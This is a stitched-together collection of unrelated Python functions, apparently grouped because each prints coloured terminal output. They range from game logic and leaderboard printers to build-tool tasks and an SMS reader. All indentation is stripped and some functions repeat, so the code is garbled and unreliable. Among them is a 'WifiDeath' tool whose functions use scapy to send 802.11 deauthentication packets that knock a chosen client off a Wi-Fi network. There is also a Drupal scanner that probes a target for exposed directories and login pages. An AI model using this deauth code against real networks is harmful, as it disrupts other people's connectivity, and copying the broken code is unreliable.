def print_leaderbord(members, mode='star'):
print ' '.ljust(28)+' '.join(i for i in map(str, xrange(1, 10)))+' '+' '.join(i for i in map(str, xrange(10, 26))) + ' Total Diff G' + '\n'+'-'*120
leaderboard_rank = sorted(members.itervalues(
), key=lambda y: y['local_score'], reverse=True)
for j, member in enumerate(leaderboard_rank):
if j == 0:
top = member['local_score']
if member['stars']:
name = member['name'] if member['name'] else 'Anonymous'
print str(j+1).ljust(2, ' ') + ' ' + name.ljust(24, ' '),
for day in map(str, xrange(1, 26)):
if day in member['completion_day_level']:
if mode == 'star':
if len(member['completion_day_level'][day].keys()) == 1:
print blue('~ ', bg='black'),
elif len(member['completion_day_level'][day].keys()) == 2:
print yellow('* ', bg='black'),
elif mode == 'pos':
pos = position_in_leaderboard(
leaderboard_rank, member['id'], day)
if pos:
if pos == '1':
print yellow(pos.ljust(2, ' ')),
elif pos in ['2', '3']:
print blue(pos.ljust(2, ' '), bg='black'),
else:
print pos.ljust(2, ' '),
else:
print ' ',
print str(member['local_score']).ljust(6, ' '),
print str(top-member['local_score']).ljust(6, ' '),
print member['global_score']
def libs():
verb = input("Type in a verb: ")
word_list.append(verb)
noun = input("Type in a noun: ")
word_list.append(noun)
pronoun = input("Type in a pronoun: ")
word_list.append(pronoun)
adjective = input("Type in an adjective: ")
word_list.append(adjective)
print(red('verb:red'))
print(green('noun:green'))
print(blue('pronoun:blue'))
print(yellow('adjective:yellow'))
print("I {} some {} then I've seen {}. I didn't realize it's {}".format(
red(verb), green(noun), blue(pronoun), yellow(adjective)))
inputs = input('Enter R to show results: ')
if inputs == 'r' or inputs == 'R':
for list_item in word_list:
print(magenta(list_item))
def console_output(self, targets):
buildfile_aliases = self.context.build_file_parser.registered_aliases()
extracter = BuildDictionaryInfoExtracter(buildfile_aliases)
alias = self.get_options().details
if alias:
target_types = buildfile_aliases.target_types_by_alias.get(alias)
if target_types:
tti = next(x for x in extracter.get_target_type_info() if x.build_file_alias == alias)
yield blue('\n{}\n'.format(tti.description))
yield blue('{}('.format(alias))
for arg in extracter.get_target_args(list(target_types)[0]):
default = green('(default: {})'.format(arg.default) if arg.has_default else '')
yield '{:<30} {}'.format(
cyan(' {} = ...,'.format(arg.name)),
' {}{}{}'.format(arg.description, ' ' if arg.description else '', default))
yield blue(')')
else:
yield 'No such target type: {}'.format(alias)
else:
for tti in extracter.get_target_type_info():
description = tti.description or '<Add description>'
yield '{} {}'.format(cyan('{:>30}:'.format(tti.build_file_alias)), description)
def console_output(self, targets):
buildfile_aliases = self.context.build_configuration.registered_aliases(
)
extracter = BuildDictionaryInfoExtracter(buildfile_aliases)
alias = self.get_options().details
if alias:
tti = next(x for x in extracter.get_target_type_info()
if x.symbol == alias)
yield blue("\n{}\n".format(tti.description))
yield blue("{}(".format(alias))
for arg in tti.args:
default = green("(default: {})".format(arg.default) if arg.
has_default else "")
yield "{:<30} {}".format(
cyan(" {} = ...,".format(arg.name)),
" {}{}{}".format(arg.description,
" " if arg.description else "", default),
)
yield blue(")")
else:
for tti in extracter.get_target_type_info():
yield "{} {}".format(cyan("{:>30}:".format(tti.symbol)),
tti.description)
def get_repos():
""" Checks if $newrepo exists and bails out if it does, otherwise returns all the repos"""
page = 1
repos = []
while (page != 0):
param = {'page_size': 1000, 'page': page}
try:
r = requests.get(base_url + "/repositories/" + org + "/",
headers=token,
params=param)
r.raise_for_status()
except requests.exceptions.HTTPError as err:
print red("Retrieving repos failed: {}").format(err)
sys.exit(1)
readable_json = r.json()
next_page = str(r.json()['next'])
for i in readable_json['results']:
repos.append(str(i['name']))
if (next_page != "None"):
page += 1
else:
page = 0
print "Found %s repositories" % (len(repos))
if new_repo in repos:
print green("Repository {0} already exists.").format(new_repo)
sys.exit()
else:
print blue("Repo doesn't exist.")
return repos
def query_yes_no(question, default="yes"):
"""Ask a yes/no question via raw_input() and return their answer.
"question" is a string that is presented to the user.
"default" is the presumed answer if the user just hits <Enter>.
It must be "yes" (the default), "no" or None (meaning
an answer is required of the user).
The "answer" return value is True for "yes" or False for "no".
"""
valid = {"yes": True, "y": True, "ye": True, "no": False, "n": False}
if default is None:
prompt = " [" + blue("y") + "/" + red("n") + "] "
elif default == "yes":
prompt = " [" + blue("Y") + "/" + red("n") + "] "
elif default == "no":
prompt = " [" + blue("y") + "/" + red("N") + "] "
else:
raise ValueError("invalid default answer: '%s'" % default)
while True:
sys.stdout.write(question + prompt)
choice = raw_input().lower()
if default is not None and choice == '':
return valid[default]
elif choice in valid:
return valid[choice]
else:
sys.stdout.write("Please respond with 'yes' or 'no' "
"(or 'y' or 'n').\n")
def console_output(self, targets):
buildfile_aliases = self.context.build_configuration.registered_aliases(
)
extracter = BuildDictionaryInfoExtracter(buildfile_aliases)
alias = self.get_options().details
if alias:
tti = next(x for x in extracter.get_target_type_info()
if x.symbol == alias)
yield blue('\n{}\n'.format(tti.description))
yield blue('{}('.format(alias))
for arg in tti.args:
default = green('(default: {})'.format(arg.default) if arg.
has_default else '')
yield '{:<30} {}'.format(
cyan(' {} = ...,'.format(arg.name)),
' {}{}{}'.format(arg.description,
' ' if arg.description else '', default))
yield blue(')')
else:
for tti in extracter.get_target_type_info():
yield '{} {}'.format(cyan('{:>30}:'.format(tti.symbol)),
tti.description)
def console_output(self, targets):
buildfile_aliases = self.context.build_file_parser.registered_aliases()
extracter = BuildDictionaryInfoExtracter(buildfile_aliases)
alias = self.get_options().details
if alias:
target_types = buildfile_aliases.target_types_by_alias.get(alias)
if target_types:
tti = next(x for x in extracter.get_target_type_info()
if x.build_file_alias == alias)
yield blue('\n{}\n'.format(tti.description))
yield blue('{}('.format(alias))
for arg in extracter.get_target_args(list(target_types)[0]):
default = green('(default: {})'.format(arg.default) if arg.
has_default else '')
yield '{:<30} {}'.format(
cyan(' {} = ...,'.format(arg.name)),
' {}{}{}'.format(arg.description,
' ' if arg.description else '',
default))
yield blue(')')
else:
yield 'No such target type: {}'.format(alias)
else:
for tti in extracter.get_target_type_info():
description = tti.description or '<Add description>'
yield '{} {}'.format(
cyan('{:>30}:'.format(tti.build_file_alias)), description)
def handleRosters(year, rosters):
for roster in rosters:
print blue("ROSTER: " + roster)
r = requests.get(BASE_URL + roster)
s = BeautifulSoup(r.text)
teams = s.find_all("li")
if teams:
handleEntries(year, [li.contents[0] for li in teams])
def directorios(req, target, verbose, archivo, lista, envio):
#print envio
dirs = [
'/includes/', '/misc/', '/modules/', '/profiles/', '/scripts/',
'/sites/', '/includes/', '/themes/', '/robots.txt', '/xmlrpc.php',
'/CHANGELOG.txt', '/core/CHANGELOG.txt'
]
i = 0
print colors.green(
'\n[***] ') + ' Directorios y archivos:\n' if verbose else '',
lista.append("<strong>Directorios y archivos</strong></br>")
lista.append("<ul>")
for d in dirs:
try:
i += 1
print colors.blue('[*] ') + "=> Respuesta(" + str(
req.get(target + d).status_code) + ") para %s \n" % (
target + d) if verbose else '',
lista.append(
"<li><a href='%s'>%s </a><strong>Respuesta: %s</strong></li>" %
(target + d, target + d, str(req.get(target + d).status_code)))
except Exception as e:
print e
print colors.red(
'[*] '
) + "=> Hubo un problema al intentar acceder a %s, posible redireccionamiento \n" % (
target + d) if verbose else '',
lista.append('</ul>')
if i == 0:
print colors.green(
'\t[*] '
) + 'Wow! no tiene directorios comunes de drupal expuestos o incluso indicios de su existencia!'
lista.append(
"<p>Wow! no tiene directorios comunes de drupal expuestos o incluso indicios de su existencia!</p>"
)
lista.append('<strong>LOGIN: </strong><br/>')
if req.get(target +
'/user/login').status_code == 200 and 'password' in req.get(
target + '/user/login').text:
print colors.green(
'\n[**] '
) + "Pagina para ingreso de usuarios:\n\t %s/user/login\n" % target if verbose else '',
lista.append('<p><a href="%s">%s</p>' %
(target + '/user/login', target + '/user/login'))
elif req.get(target + '/?q=user/login'
).status_code == 200 and 'password' in req.get(
target + '/?q=user/login').text:
print colors.green(
'\n[**] '
) + "Pagina para ingreso de usuarios:\n\t %s/?q=user/login\n" % target if verbose else '',
lista.append('<p><a href="%s">%s</a></p>' %
(target + '/?q=user/login', target + '/?q=user/login'))
reportes.listado(archivo, lista)
if envio:
reportes.vuln(archivo, envio)
def program(sharefile, config):
target_month = raw_input('[VHL ROBOT] Enter target month: ')
team_leaders = [leader for leader in sharefile.list('Team Leaders/Monthly Paperwork')]
if not team_leaders:
print(red('[VHL ROBOT] Could not find team leader files. Quitting.'))
return
alphabet_segments = sharefile.list('Dependent E-Files')
alphabet_segments = {key: value for key, value in alphabet_segments.iteritems() if len(key) == 3}
for indexed_team_leader in enumerate(team_leaders):
print('[VHL ROBOT] [%d] %s' % indexed_team_leader)
input_recognized = False
while not input_recognized:
indices = raw_input('[VHL ROBOT] Enter team leaders (space separated), or Ctrl-C to quit: ')
try:
indices = [int(index) for index in indices.rstrip().split(' ')]
input_recognized = True
except:
print(red('[VHL ROBOT] Could not parse input...'))
for index in indices:
target_folder = 'Team Leaders/Monthly Paperwork/%s/%s' % (team_leaders[index], target_month)
print('[VHL ROBOT] Searching "%s"' % target_folder)
month = sharefile.list(target_folder)
for filename in month:
if filename.find('VHL') == -1:
print(blue('[VHL ROBOT] "%s" does not seem to be a VHL file' % filename))
continue
try:
pieces = filename.split()
if not (len(pieces) == 4):
raise Error
child_name = pieces[2]
print('[VHL ROBOT] "%s" is a VHL file for child %s' % (filename, child_name))
except:
print(blue('[VHL ROBOT] "%s" might be a VHL file with a nonstandard name. Ignoring it.' % filename))
continue
found = False
for segment in alphabet_segments:
range_pair = segment.split('-')
if child_name[0] >= range_pair[0] and child_name[0] <= range_pair[1]:
found = True
item = filename
source = 'Team Leaders/Monthly Paperwork/%s/%s' % (team_leaders[index], target_month)
destination = 'Dependent E-Files/%s/%s/CASA Internal Documents' % (segment, child_name[:-1] + ' ' + child_name[-1])
sharefile.copy(item, source, destination, ' '.join(filename.split()[1:]))
if not found:
print(red('[VHL ROBOT] Could not alphabetize %s in %s', child_name, str(alphabet_segments)))
def check_fuel():
global player_pos
global fuel
if player_pos == blue("3"):
fuel += 3
player_pos = "O"
if player_pos == blue("5"):
fuel += 5
player_pos = "O"
if player_pos == blue("6"):
fuel += 6
player_pos = "O"
def get_potion(amt):
global potion
if amt > 0:
print blue("+++%s POTIONS+++" % amt)
potion += amt
for pots in range(amt):
bp.append('potion')
else:
print "%s takes a " % name + bold(blue("POTION"))
health(30)
potion -= 1
bp.remove('potion')
def health(hit):
global healthp
if hit > 0:
print blue("\nPLUS %d health!" % hit)
healthp += hit
print "HEALTH: %d\n" % healthp
elif hit == 0:
print "\nHEALTH: %d\n" % healthp
else:
time.sleep(1)
print red("%s takes %d DAMAGE!\n") % (name, hit)
healthp += hit
if healthp <= 0:
die('%s takes a mortal BLOW!' % name)
sys.exit(0)
def read_chat_history():
read_for = select_a_friend()
#chat history function will give a history of chat messages and the time.
for chat in friends[read_for].chats:
if chat.send_by_me:
print '[%s] %s: %s' % (chat.time.strftime(
blue('%d %Y %B')), red('you_said'), chat.message)
else:
print '[%s] %s: %s' % (chat.time.strftime(
blue('%d %Y %B')), red(friends[read_for].name), chat.message)
def printBiomeMap(self):
for y in range(0, self.height):
print("")
for x in range(0, self.width):
if (self.tiles[x][y].settlement != None):
sys.stdout.write(
color(self.tiles[x][y].settlement.type,
self.tiles[x][y].colorX))
elif (self.tiles[x][y].color == "cyan"):
sys.stdout.write(cyan(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "white"):
sys.stdout.write(white(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "green"):
sys.stdout.write(green(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "yellow"):
sys.stdout.write(yellow(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "blue"):
sys.stdout.write(blue(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "magenta"):
sys.stdout.write(magenta(self.tiles[x][y].biome))
elif (self.tiles[x][y].color == "red"):
sys.stdout.write(red(self.tiles[x][y].biome))
elif (self.tiles[x][y].colorX != None):
sys.stdout.write(
color(self.tiles[x][y].biome, self.tiles[x][y].colorX))
else:
sys.stdout.write(self.tiles[x][y].biome)
def check_config(self):
if os.path.isfile("config.json"):
print(green("> Config found!"))
else:
print(blue("> Config not found! Creating one.."))
self.create_config()
print(green("> Config created!"))
def driveinit():
creds = None
SCOPES = [
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/userinfo.profile', 'openid',
'https://www.googleapis.com/auth/userinfo.email'
]
if os.path.exists('token.pickle'):
with open('token.pickle', 'rb') as token:
creds = pickle.load(token)
# If there are no (valid) credentials available, let the user log in.
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
flow = InstalledAppFlow.from_client_secrets_file(
'credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
# Save the credentials for the next run
with open('token.pickle', 'wb') as token:
pickle.dump(creds, token)
service = build('drive', 'v3', credentials=creds)
user_service = build('oauth2', 'v2', credentials=creds)
info = user_service.userinfo().get().execute()
print("Accessing drive of user {} <{}>".format(blue(bold(info['name'])),
info['email']))
return service
def status(self):
for content in self.get_esxi_hosts():
host = get_host_view(content)[0]
for health in host.runtime.healthSystemRuntime.systemHealthInfo.numericSensorInfo:
print_status_info(health)
print_status_info(host.runtime.healthSystemRuntime.
hardwareStatusInfo.memoryStatusInfo[0])
print_status_info(host.runtime.healthSystemRuntime.
hardwareStatusInfo.cpuStatusInfo[0])
print "%s (%s)\n\t%s\n\tCPU: %s\n\tRAM: %s" % (
blue(host.name), content.about.fullName, get_tags(host),
get_cpu_info(host), get_mem_info(host))
datastores = content.viewManager.CreateContainerView(
content.rootFolder, [vim.Datastore], True).view
for datastore in datastores:
summary = datastore.summary
ds_capacity = summary.capacity
ds_freespace = summary.freeSpace
ds_uncommitted = summary.uncommitted if summary.uncommitted else 0
ds_provisioned = ds_capacity - ds_freespace + ds_uncommitted
ds_used = ds_capacity - ds_freespace
ds_overp = ds_provisioned - ds_capacity
ds_overp_pct = (ds_overp * 100) / ds_capacity \
if ds_capacity else 0
desc = "\t{}: used {} of {}".format(summary.name,
format_space(ds_used),
format_space(ds_capacity))
desc += get_colored_percent(
float(ds_used) / float(ds_capacity) * 100)
if ds_provisioned > ds_capacity:
desc += " %.0f%% over-provisioned" % ds_overp_pct
print desc
def get_chest():
global triangle
global square
global healthp
global chest
comb = ['2', '4', '1', '3']
ans = []
print "The chest is locked and has four colored switches on it:\n"
print green("[1GREEN]"), yellow("[2YELLOW]"), red("[3RED]"), blue("[4BLUE]\n")
for nums in comb:
press = raw_input('Which switch should %s press? ' % name)
ans.append(press)
if ans == comb:
pause('+++')
print "The chest suddenly pops open! There is a hexagon key and a triangle key...\n"
choo = raw_input('Which one should %s take? ' % name)
if choo in ('t', 'triangle', 'the triangle'):
pause('...')
print "%s takes the triangle shaped key and the chest snaps shut!\n" % name
triangle = True
chest = False
elif choo in ('h', 'hexagon', 'the hexagon'):
pause('...')
print "%s takes the hexagon shaped key and the chest snaps shut!\n" % name
square = True
chest = False
else:
pause('...')
print "The chest snaps shut!\n"
get_chest()
else:
print "\nThe chest shocks %s!" % name
health(-10)
room2()
def main():
print(
colors.blue(
' ________________________\n|SK-WifiDeath ' + ver +
' |\n| Written By Skittles_ |\n| ssssssss |\n| sss sss |\n| ss sssss ss |\n| ssss ssss |\n| sss |\n| _ |\n|_________|S|___________|'
))
print('')
print('')
selectionFromMenu = input(
colors.white(
'What would you like to do?\n'
'1)Deauth a client\n2)Deauth an Access Point\nE)Exit WifiDeath\nSKWD>'
))
if selectionFromMenu == '1':
system('clear')
print('OK, Client Deauth.')
deauth.wifiDeauthClient()
mainMenu()
elif selectionFromMenu == '2':
print('OK, AP Deauth.')
deauth.wifiDeauthAP()
mainMenu()
elif selectionFromMenu == 'E':
sys.exit()
else:
if name == 'nt':
system('cls')
else:
system('clear')
mainMenu()
def do_commands(lines):
for line in lines:
sys.stdout.write(colors.blue(prompt))
type_it_out(line)
time.sleep(0.5)
print
os.system(colors.strip_color(line))
def readSMS(self):
self.configure()
messages = []
self.sendCmd(b'AT+CMGL="REC UNREAD"')
smsData = self.normalizedRecv()
logPrint("SMS data: " + colors.green(smsData))
for l in smsData:
if l.startswith(b'OK'):
break
if l.startswith(b'ERROR'):
break
if l.startswith(b'+CMGL: '):
# +CMGL: 6,"REC UNREAD","002B003900370032003500300035003200330037003800300039",,"" 0054006500730074
smsInfo = l[len(b'+CMGL: '):].split(b',')
smsId = int(smsInfo[0])
smsSender = smsInfo[2].replace(b'"', b'')
smsSender = binascii.unhexlify(smsSender).decode('utf-16be')
continue
try:
msg = binascii.unhexlify(l).decode('utf-16be')
except:
continue
logPrint("%d: %s sent: %s (%s)" % (smsId, smsSender, l, msg))
messages.append((smsSender, msg))
# Delete all stored SMS
self.sendCmd(b'AT+CMGDA="DEL ALL"')
self.sendCmd(b'AT+CMGD=0,4')
deleteResult = self.recv()
if self.verbose:
logPrint(colors.blue(deleteResult.decode('utf8')))
return messages
def print_stat_bar(self):
"""Print the HP, MP, and XP bars, with some nice coloring."""
current_hp = int(self.user['stats']['hp'])
max_hp = int(self.user['stats']['maxHealth'])
current_mp = int(self.user['stats']['mp'])
max_mp = int(self.user['stats']['maxMP'])
current_exp = int(self.user['stats']['exp'])
level_exp = int(self.user['stats']['toNextLevel'])
width = 60
hp_percent = min(float(current_hp) / max_hp, 1.0)
mp_percent = min(float(current_mp) / max_mp, 1.0)
xp_percent = min(float(current_exp) / level_exp, 1.0)
if hp_percent < 0.25:
hp_color = colors.red
elif hp_percent < 0.5:
hp_color = colors.yellow
else:
hp_color = colors.green
hp_bar = ("="*int(hp_percent*width)).ljust(width)
mp_bar = ("="*int(mp_percent*width)).ljust(width)
xp_bar = ("="*int(xp_percent*width)).ljust(width)
print "HP: " + hp_color("[" + hp_bar + "]")
print "MP: " + colors.blue("[" + mp_bar + "]")
print "XP: [" + xp_bar + "]"
if self.user['cached']:
print "(Cached)"
def readMessages(
clientSocket
): # Essa função funciona dentro de uma thread e permite que um usuário possa enviar mensagens ao servidor e receber as mensagens dele simultaneamente.
while True:
message = clientSocket.recv(1024).decode('utf-8')
if message == "bye": # Essa mensagem "bye" é uma mensagem de resposta de confirmação enviada pelo servidor para indicar que o usuário foi desconectado.
clientSocket.close(
) # O clientSocket do usuário é encerrado e a execução da função é finalizada.
break
else:
if message != "OK" and message != "NOT OK":
if message[-1] == "1": # Public Message
print(message[:-1])
publicPostalBox.append(message[:-1])
elif message[-1] == "2": # Private Message
print(blue(message[:-1]))
privatePostalBox.append(message[:-1])
elif message[-1] == "3": # List of Connected Users
print("")
print(green(message[:-1]))
print("")
elif message[-1] == "4": # Issue
print(red(message[:-1]))
#print(message) ##################### TEM QUE PRINTAR A FUNÇÂO DE CORES DIFERENTES #########################
return
def test_generate_ipex_ansicolors(self):
self.create_python_requirement_library(
"3rdparty/ipex", "ansicolors", requirements=["ansicolors"]
)
self.create_python_library(
"src/ipex",
"lib",
{
"main.py": dedent(
"""\
from colors import blue
print(blue('i just lazy-loaded the ansicolors dependency!'))
"""
)
},
)
binary = self.create_python_binary(
"src/ipex", "bin", "main", dependencies=["3rdparty/ipex:ansicolors", ":lib",]
)
self.set_options(generate_ipex=True)
dist_dir = os.path.join(self.build_root, "dist")
self._assert_pex(
binary, expected_output=blue("i just lazy-loaded the ansicolors dependency!") + "\n"
)
dehydrated_ipex_file = os.path.join(dist_dir, "bin.ipex")
assert os.path.isfile(dehydrated_ipex_file)
hydrated_pex_output_file = os.path.join(dist_dir, "bin.pex")
assert os.path.isfile(hydrated_pex_output_file)
def do_commands(lines):
for line in lines:
sys.stdout.write(colors.blue(prompt))
type_it_out(line)
time.sleep(0.5)
print
os.system(colors.strip_color(line))
def create_symlink(origin, new_dir):
"""
Creates symlink for a file or directory to the specified path
src: where is the file/folder located
dst: where should the symlink be (also known as the origin)
"""
try:
src = os.path.abspath(new_dir) + "/" + os.path.basename(origin)
dst = origin
print colors.blue("[NOTICE]") + \
" creating symlink for: %s to %s" % (os.path.basename(origin), src)
os.symlink(src, dst)
except OSError:
sys.exit(colors.yellow("[ERROR]") + " symlinking failed, file exists")
def print_problem(n, members):
time_str = r"%Y-%m-%dT%H:%M:%S"
print 'Problem', n.ljust(19), blue(' 1st Star', bg='black'), yellow(' 2nd Star', bg='black') + '\n' + '-'*51
start_time = dt.strptime(event+'-12-' + n.zfill(2) + 'T05:00:00', time_str)
data = []
for member in members.itervalues():
if n in member['completion_day_level']:
t1, t2 = timedelta(days=1000), timedelta(days=1000)
if '1' in member['completion_day_level'][n]:
t1 = dt.utcfromtimestamp(
int(member['completion_day_level'][n]['1']['get_star_ts'])) - start_time
if '2' in member['completion_day_level'][n]:
t2 = dt.utcfromtimestamp(
int(member['completion_day_level'][n]['2']['get_star_ts'])) - start_time
data.append((member, t1, t2))
for j, (member, t1, t2) in enumerate(sorted(data, key=lambda x: (x[2], x[1]))):
name = member['name'] if member['name'] else 'Anonymous'
print str(j+1).ljust(2, ' ') + ' ' + name.ljust(24, ' '),
if t1 != timedelta(days=1000):
print ' ', str(t1).ljust(10, ' '),
if t2 != timedelta(days=1000):
print ' ', t2,
print
def fancy_format(self):
from colors import red, green, blue
for item in self.data:
c1 = item['min'] - 1
c2 = item['max'] - 1
cs = item['pass']
cc = item['char']
output = ''
if item['tob'] == 'good':
output += green('good') + " "
else:
output += red('FAIL') + " "
output += str(c1).zfill(2) + "-" + str(c2).zfill(
2) + "|" + cc + "| "
if c1 == 0:
cleft = ''
else:
cleft = cs[0:c1]
if cs[c1] == cc:
cX = blue(cs[c1])
else:
cX = red(cs[c1])
if c1 + 1 == c2 - 1:
cmid = cs[c1 + 1]
else:
cmid = cs[c1 + 1:c2 - 1]
if cs[c2] == cc:
cY = blue(cs[c2])
else:
cY = red(cs[c2])
if c2 == len(cs):
cright = ''
else:
cright = cs[c2 + 1:]
output += cleft + cX + cmid + cY + cright
print(output)
def __str__(self):
'Return the colorized name of this player.'
try:
name = self.extra_settings['recap']
except:
name = blue(Character.__str__(self))
return name
def color_mark(mark: str) -> str:
"""Разукрашивает метки для вывода на доску"""
if mark == 'x':
return blue(mark)
elif mark == 'o':
return yellow(mark)
else:
return ' '
def print_eq_sections(in_file, flag=True, section_name=""):
if not in_file:
print_msg(-1, "File is't exist")
return
sample = pefile.PE(in_file)
for section in sample.sections:
if (section.Misc_VirtualSize == section.SizeOfRawData) and (section_name in section.Name):
sys.stdout.write(magenta("Name: %0s" % section.Name + "\tRawSize = 0x%08x" % section.SizeOfRawData))
sys.stdout.write(magenta("\tVirtualSize = 0x%08x" % section.Misc_VirtualSize))
sys.stdout.write(magenta("\tEntropy = %02d" % section.get_entropy() + "\n"))
elif flag == False:
print_msg(1, "No sections with equal RSize and VSize")
elif flag == True:
sys.stdout.write(blue("Name: %0s" % section.Name + "\tRawSize = 0x%08x" % section.SizeOfRawData))
sys.stdout.write(blue("\tVirtualSize = 0x%08x" % section.Misc_VirtualSize))
sys.stdout.write(blue("\tEntropy = %02d" % section.get_entropy() + "\n"))
def set_dot_path(path):
"""
Set the path of where the dotfiles are located. This will be the location
of the files and backup folders.
"""
data = get_dotconfig()
try:
data.update({'dot_path': path})
except AttributeError:
sys.exit(
colors.yellow("[ERROR]") + " not able to update .dotconfig"
"file. Check if the integrity of the file.")
set_dotconfig(data)
print colors.blue("[NOTICE]") + " set %s as path in .dotconfig" % path
def configure(self):
logPrint(colors.blue("Reconfiguring SMS format"))
self.sendCmd(b'AT+CSCS="UCS2"')
data = self.recv()
assert b"OK" in data, "Cant setup SMS to UCS2"
self.sendCmd(b"AT+CMGF=1")
data = self.recv()
assert b"OK" in data, "Cant setup SMS to TEXT mode"
def wifiDeauthClient():
#getting the information from user, interface, client, and Access Point mac addresses
interface = input(
colors.blue(
'What Monitor mode interface would you like to use to deauth?:\n????>'
))
print(colors.red('OK, ' + interface))
client = input(
colors.blue('What is the client\'s BSSID (MAC Address)\nSKWD>'))
print(colors.red('OK, ' + client))
print('Press Ctrl+C when done.')
scanForTarget()
accessPoint = input(
colors.blue('What is the Access Point\'s BSSID (MAC Address)\nSKWD>'))
print(colors.red('OK, ' + accessPoint))
#From here, we print out the info, to make sure the info is correct than we start with deauth, or exit SKWifiDeath
print('__________________________________________________')
print(
'Just to be sure, here is are the current settings:\nMonitor Mode Interface:'
+ interface + '\nClient:' + client + '\nAccess Point:' + accessPoint)
print('__________________________________________________')
correct = input(colors.red('Is this correct? (yes/y no/n):\n????>'))
def deauthClient():
print('Building the packet.')
#using scapy to craft anf send deauth packet, thanks Abdou Rockikz!
dot11 = Dot11(addr1=client, addr2=accessPoint, addr3=accessPoint)
# stack them up
packet = RadioTap() / dot11 / Dot11Deauth(reason=7)
print('Packet ready.')
# send the packet
print('Sending packets')
sendp(packet, inter=0.1, count=200, iface=interface, verbose=1)
if correct == 'y':
print('Alright. Starting Deauth...')
deauthClient()
elif correct == 'n':
print('Exiting...')
sys.exit()
def print(self, nodes_per_row=5):
import sys, colors
sys.stderr.write(
"======================================================\n")
sys.stderr.write(colors.blue("world@t=%i\n" % (self.t)))
string_representations = []
max_incoming_agents = 0
for idx, node in enumerate(self.nodes):
num_incoming_agents = 0
for link in node.incoming_links:
num_incoming_agents += len(link)
if num_incoming_agents > max_incoming_agents:
max_incoming_agents = num_incoming_agents
sys.stderr.write(
colors.blue("max incoming=%i\n" % (max_incoming_agents)))
for idx, node in enumerate(self.nodes):
num_incoming_agents = 0
for link in node.incoming_links:
num_incoming_agents += len(link)
total_jam_capacity = sum(l.jam_capacity
for l in node.outgoing_links)
total_freeflow_capacity = sum(l.free_flow_capacity
for l in node.outgoing_links)
color_component = 0
if num_incoming_agents <= total_freeflow_capacity:
color_component = int(
(num_incoming_agents / total_freeflow_capacity) * 5) + 28
else:
color_component = -int(
((num_incoming_agents - total_freeflow_capacity) /
(total_jam_capacity - total_freeflow_capacity)) * 5) + 129
string_representations.append(
colors.color(
"(%s):%s" % (str(idx).zfill(len(str(len(
self.nodes)))), str(num_incoming_agents).zfill(
len(str(max_incoming_agents)))), color_component))
rows = []
for c in range(0, len(self.nodes), nodes_per_row):
rows.append(string_representations[c:c + nodes_per_row])
for r in rows:
sys.stderr.write(", ".join(r))
sys.stderr.write("\n")
sys.stderr.write(
"======================================================\n")
sys.stderr.flush()
def basic_parse(self):
print(bold(blue("[To]")), (":").rjust(11), self.eml["To"])
print(bold(green("[From]")), (":").rjust(9), self.eml["From"])
print(bold(yellow("[Sender]")), (":").rjust(7), self.eml["Sender"])
print(bold(orange("[Delivered To]")), ":", self.eml["Delivered-To"])
print(bold(red("[Subject]")), (":").rjust(6), self.eml["Subject"])
print(bold(purple("[Date]")), (":").rjust(9), self.eml["Date"])
print(bold(grey("[Content-Type]")), (":").rjust(1),
self.eml["Content-Type"])
def get_optional_header(self):
headers = [
bold(blue("Fields")),
bold(red("FileOffset")),
bold(green("Offset")),
bold(orange("Value"))
]
table = []
print("\n\t\t\t\t", bold(white("OPTIONAL HEADER")), "\n")
def blink(count):
while count > 0:
set(colors.red())
time.sleep(0.1)
lightsOff()
time.sleep(0.1)
count = count - 1
else:
set(colors.blue())
time.sleep(1)
def console_output(self, targets):
buildfile_aliases = self.context.build_file_parser.registered_aliases()
extracter = BuildDictionaryInfoExtracter(buildfile_aliases)
alias = self.get_options().details
if alias:
tti = next(x for x in extracter.get_target_type_info() if x.symbol == alias)
yield blue('\n{}\n'.format(tti.description))
yield blue('{}('.format(alias))
for arg in tti.args:
default = green('(default: {})'.format(arg.default) if arg.has_default else '')
yield '{:<30} {}'.format(
cyan(' {} = ...,'.format(arg.name)),
' {}{}{}'.format(arg.description, ' ' if arg.description else '', default))
yield blue(')')
else:
for tti in extracter.get_target_type_info():
yield '{} {}'.format(cyan('{:>30}:'.format(tti.symbol)), tti.description)
def create_playlist(input_filename, output_filename, library):
"""The function that actually creates the playlist"""
# start by reading the file
with open(input_filename) as file_handle:
content = file_handle.readlines()
# now process the file
output = process_content(content, library)
# write the output to a file
if output_filename is None:
# two blank lines
print ""
print ""
print blue("Output:")
print output
return 1
with open(output_filename, 'w') as file_:
file_.write(output)
return 1
def cmd_recap(s, r):
'''recap <recapped-name>
Define your character's "recapped name". For instance, if your
name is "Montainrat", you can define it to be seen as
"MontainRat". You cannot, however, use this command to change
your name.
'''
recapped = r['message']
if s.player.name.lower() == recapped.lower():
s.player.extra_settings['recap'] = blue(recapped)
s.message('Your name will now be seen by everyone as ' + s.player.extra_settings['recap'])
else:
s.message('The recapped name still has to match your proper name.')
def main(args):
"""Main method
:param args: arguments
:return: None
"""
opts = parse_cmdline_params(args[1:])
if opts.b is not None and opts.l is not None:
nb = True
else:
nb = False
sequences = cloning(opts.fastq, opts.n, nb, opts.b, opts.l)
# sequences = create_fastq_dict('sampleFastq')
total_error_num = 0
total_errors = 0
total_lengths = 0
for key in sequences:
error_seq_string = ''
seq_name = key
seq_string = sequences[key]
position = 0
error_num = 0
for base in seq_string:
if base not in 'AGCTN':
raise ValueError("This base,", base, ", is not an A, G, C, T, or N!")
position += 1
error_prob = 0.001 * position
if error_prob * 100 <= 0:
raise ValueError("The error probability must be greater than 0!")
# Checks if it needs to add an error
if random.randint(1, 1000) < (error_prob) * 1000:
error_seq_string = add_error(error_seq_string, base, True)
error_num += 1
else:
error_seq_string = add_error(error_seq_string, base, False)
total_errors += error_num
total_error_num += 1
error_perc = error_num / len(seq_string)
total_lengths += len(seq_string)
print_errors(blue(seq_name), seq_string, error_seq_string, green(str(error_num)))
print 'The error percent for this sequence is:', yellow(str(error_perc * 100)), '%'
print 'The new quality string is: ', create_quality_scores(seq_string), '\n'
print 'The average number of errors generated was:' \
'', magenta(str(int(total_errors / total_error_num)))
